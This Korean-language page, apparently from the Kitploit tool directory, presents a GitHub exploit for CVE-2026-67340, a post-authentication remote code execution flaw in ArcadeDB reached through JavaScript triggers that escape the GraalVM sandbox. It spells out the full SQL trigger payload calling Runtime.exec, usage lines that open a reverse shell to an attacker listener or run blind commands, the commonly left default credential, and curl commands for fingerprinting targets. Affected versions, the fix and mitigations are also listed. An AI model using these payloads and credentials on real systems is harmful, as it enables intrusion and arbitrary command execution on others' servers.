Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-67340_exploit — ArcadeDB의 인증 후 RCE 익스플로잇으로, JavaScript 트리거 GraalVM 샌드박스 탈출을 통해 HTTP API로 OS 명령을 실행하며 리버스 셸 또는 블라인드 명령 모드를 지원합니다. | Kitploit
도구/GitHubGitHub/0xdak/cve-2026-67340_exploit
ExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHub0xdak/cve-2026-67340_exploit

CVE-2026-67340_exploit

ArcadeDB의 인증 후 RCE 익스플로잇으로, JavaScript 트리거 GraalVM 샌드박스 탈출을 통해 HTTP API로 OS 명령을 실행하며 리버스 셸 또는 블라인드 명령 모드를 지원합니다.

저장소 보기
17일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-67340 — ArcadeDB JAVASCRIPT 트리거 스크립트 RCE (인증 후)

인증 후 원격 코드 실행은 ArcadeDB(Java 멀티모델 데이터베이스)에서 호스트 클래스에 도달하는 JAVASCRIPT 트리거를 통해 발생합니다.

트리거의 GraalVM 폴리글랏 엔진은 **java.lang.***을 포함하는 호스트 클래스 허용 목록으로 구성됩니다(ScriptTriggerExecutor.setAllowedPackages). 따라서 트리거 스크립트는 다음을 호출할 수 있습니다:

root@kitploit:~
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false)는 이를 차단하지 않습니다 — Runtime.exec는 GraalVM의 게스트 프로세스 API가 아니라 HostAccess.ALL이 허용하는 호스트 메서드 호출입니다. 트리거를 생성하려면 UPDATE_SCHEMA 권한만 필요하며(직접 스크립팅을 제한하는 UPDATE_SECURITY보다 약한 권한), 따라서 root도 할 수 있습니다 — HTTP API를 통한 인증 후 RCE입니다.

  • 영향 대상: ArcadeDB < 26.7.2 (0 – 26.7.1)
  • 수정 버전: 26.7.2 (트리거 허용 목록에서 java.lang.* 제거 + 프로세스/리플렉션/클래스로더 차단 목록이 있는 리터럴 HostClassLookupFilter 추가)
  • 기본 포트: 2480 (HTTP API + Studio, Basic 인증)
  • CWE: 94 (코드 인젝션) / 샌드박스 탈출
  • 영향: ArcadeDB 프로세스 사용자 권한으로 OS 명령 실행

직접적인 language:js 명령 경로는 벡터가 아닙니다 — 허용된 패키지가 없으며(Java.type 차단됨) UPDATE_SECURITY 뒤에 있습니다. 오직 트리거 실행기만 java.lang.*을 하드코딩합니다.

요구 사항

Python 3 표준 라이브러리만 사용 — 종속성 없음. UPDATE_SCHEMA 권한이 있는 유효한 ArcadeDB 자격 증명(예: root). ArcadeDB에는 하드코딩된 기본 암호가 없지만, 자체 docker-compose.yml에 예시 root:playwithdata가 포함되어 있어 일반적으로 그대로 방치되는 자격 증명입니다.

사용법

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

작동 방식

인증된 POST /api/v1/command/<db> 요청 3개(language:sql):

  1. CREATE DOCUMENT TYPE Pwn
  2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
  3. INSERT INTO Pwn SET x = 1 — BEFORE CREATE 트리거가 발동하고 JavaScript가 실행됩니다.

OS 명령은 base64로 감싸져 JavaScript/SQL/JSON 계층에서 중첩 따옴표 이스케이프가 필요하지 않으며, 스크립트는 waitFor()를 생략하므로 exec가 즉시 반환됩니다(자식 프로세스는 계속 실행되고 요청은 차단되지 않습니다).

대상 식별

root@kitploit:~
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

해결 방법

ArcadeDB ≥ 26.7.2로 업그레이드하고, 강력한 rootPassword를 설정하고(playwithdata 절대 사용 금지), ArcadeDB를 root로 실행하지 말고, UPDATE_SCHEMA를 제한하며, HTTP API/Studio를 신뢰할 수 없는 네트워크에 노출하지 마세요.

면책 조항

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 테스트할 명시적 권한이 있는 시스템에만 사용하십시오.

도구 다운로드